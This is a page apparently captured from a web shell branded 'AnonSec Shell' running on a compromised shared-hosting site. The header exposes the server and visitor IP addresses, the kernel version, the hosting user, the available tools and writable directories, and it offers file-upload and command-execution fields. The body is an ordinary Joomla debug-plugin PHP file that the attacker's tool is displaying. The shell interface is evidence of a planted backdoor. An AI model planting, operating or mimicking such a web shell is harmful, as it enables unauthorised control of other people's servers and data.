AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/plats-individuels/lyon/plugins/system/debug/src/DataCollector/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/plats-individuels/lyon/plugins/system/debug/src/DataCollector/UserCollector.php
<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  System.Debug
 *
 * @copyright   (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Debug\DataCollector;

use DebugBar\DataCollector\DataCollectorInterface;
use Joomla\CMS\Factory;
use Joomla\CMS\User\UserFactoryInterface;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * User collector that stores the user id of the person making the request allowing us to filter on it after storage
 *
 * @since  4.2.4
 */
class UserCollector implements DataCollectorInterface
{
    /**
     * Collector name.
     *
     * @var   string
     * @since 4.2.4
     */
    private $name = 'juser';

    /**
     * Called by the DebugBar when data needs to be collected
     *
     * @since  4.2.4
     *
     * @return array Collected data
     */
    public function collect()
    {
        $user = Factory::getApplication()->getIdentity()
            ?: Factory::getContainer()->get(UserFactoryInterface::class)->loadUserById(0);

        return ['user_id' => $user->id];
    }

    /**
     * Returns the unique name of the collector
     *
     * @since  4.2.4
     *
     * @return string
     */
    public function getName()
    {
        return $this->name;
    }
}

Anon7 - 2022
AnonSec Team